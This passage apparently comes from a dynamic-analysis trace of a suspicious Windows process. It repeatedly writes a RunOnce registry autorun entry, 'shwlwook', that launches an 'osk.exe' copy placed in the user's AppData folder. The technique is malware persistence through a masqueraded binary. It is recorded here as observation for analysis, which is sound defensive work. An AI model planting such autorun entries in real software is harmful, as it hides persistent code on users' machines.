lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.042] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.042] RegCloseKey (hKey=0x14c) returned 0x0 [0258.042] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.043] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.070] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.070] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.070] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.071] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.071] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.071] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.071] RegCloseKey (hKey=0x14c) returned 0x0 [0258.072] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.072] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.086] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.086] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.086] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.087] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.087] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.087] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.087] RegCloseKey (hKey=0x14c) returned 0x0 [0258.088] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.088] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.101] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.101] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.102] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.102] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.102] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.103] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.103] RegCloseKey (hKey=0x14c) returned 0x0 [0258.103] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.103] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.117] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.117] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.117] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.118] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.118] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.118] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.118] RegCloseKey (hKey=0x14c) returned 0x0 [0258.119] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.119] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.133] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.133] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.133] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.133] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.134] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.134] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.134] RegCloseKey (hKey=0x14c) returned 0x0 [0258.134] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.135] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.180] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.180] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.180] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.181] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.181] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.181] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.181] RegCloseKey (hKey=0x14c) returned 0x0 [0258.181] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.182] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.198] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.199] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.199] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.199] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.199] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.200] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.200] RegCloseKey (hKey=0x14c) returned 0x0 [0258.200] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.200] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.211] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.211] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.212] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.212] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.212] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.212] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.213] RegCloseKey (hKey=0x14c) returned 0x0 [0258.213] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.213] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.226] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.226] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.227] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.227] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.227] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.227] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.227] RegCloseKey (hKey=0x14c) returned 0x0 [0258.228] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.228] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.242] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.242] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.242] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.243] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.243] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.243] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.243] RegCloseKey (hKey=0x14c) returned 0x0 [0258.244] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.244] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.258] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.258] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.258] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.258] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.259] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.259] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.259] RegCloseKey (hKey=0x14c) returned 0x0 [0258.259] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.259] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.273] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.273] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.274] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.274] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.274] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.274] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.275] RegCloseKey (hKey=0x14c) returned 0x0 [0258.275] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.275] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.289] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.289] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.289] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.290] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.290] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.290] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.290] RegCloseKey (hKey=0x14c) returned 0x0 [0258.291] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.291] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.304] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.304] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.305] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.305] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.305] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 